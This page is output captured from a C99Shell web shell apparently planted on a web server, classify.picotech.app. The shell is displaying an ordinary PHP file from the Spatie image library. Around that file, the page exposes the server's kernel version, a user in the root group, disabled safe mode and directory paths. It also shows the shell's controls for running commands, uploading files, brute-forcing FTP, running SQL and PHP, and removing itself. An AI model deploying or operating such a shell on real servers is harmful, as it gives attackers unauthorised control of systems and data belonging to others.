!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/spatie/image/src/   drwxr-xr-x
Free 28.84 GB of 117.98 GB (24.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ManipulationSequence.php (3.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Image;

use 
ArrayIterator;
use 
IteratorAggregate;

class 
ManipulationSequence implements IteratorAggregate
{
    protected array 
$groups = [];

    public function 
__construct(array $sequenceArray = [])
    {
        
$this->startNewGroup();
        
$this->mergeArray($sequenceArray);
    }

    public function 
addManipulation(string $operationstring $argument): static
    {
        
$lastIndex count($this->groups) - 1;

        
$this->groups[$lastIndex][$operation] = $argument;

        return 
$this;
    }

    public function 
merge(self $sequence): static
    {
        
$sequenceArray $sequence->toArray();

        
$this->mergeArray($sequenceArray);

        return 
$this;
    }

    public function 
mergeArray(array $sequenceArray): void
    
{
        foreach (
$sequenceArray as $group) {
            foreach (
$group as $name => $argument) {
                
$this->addManipulation($name$argument);
            }

            if (
next($sequenceArray)) {
                
$this->startNewGroup();
            }
        }
    }

    public function 
startNewGroup(): static
    {
        
$this->groups[] = [];

        return 
$this;
    }

    public function 
toArray(): array
    {
        return 
$this->getGroups();
    }

    public function 
getGroups(): array
    {
        return 
$this->sanitizeManipulationSets($this->groups);
    }

    public function 
getIterator(): ArrayIterator
    
{
        return new 
ArrayIterator($this->toArray());
    }

    public function 
removeManipulation(string $manipulationName): static
    {
        foreach (
$this->groups as &$group) {
            if (
array_key_exists($manipulationName$group)) {
                unset(
$group[$manipulationName]);
            }
        }

        return 
$this;
    }

    public function 
isEmpty(): bool
    
{
        if (
count($this->groups) > 1) {
            return 
false;
        }

        if (
count($this->groups[0]) > 0) {
            return 
false;
        }

        return 
true;
    }

    protected function 
sanitizeManipulationSets(array $groups): array
    {
        return 
array_values(array_filter($groups, function (array $manipulationSet) {
            return 
count($manipulationSet);
        }));
    }

    
/*
    * Determine if the sequences contain a manipulation with the given name.
    */
    
public function getFirstManipulationArgument($searchManipulationName)
    {
        foreach (
$this->groups as $group) {
            foreach (
$group as $name => $argument) {
                if (
$name === $searchManipulationName) {
                    return 
$argument;
                }
            }
        }
    }

    
/*
    * Determine if the sequences contain a manipulation with the given name.
    */
    
public function contains($searchManipulationName): bool
    
{
        foreach (
$this->groups as $group) {
            foreach (
$group as $name => $argument) {
                if (
$name === $searchManipulationName) {
                    return 
true;
                }
            }

            return 
false;
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--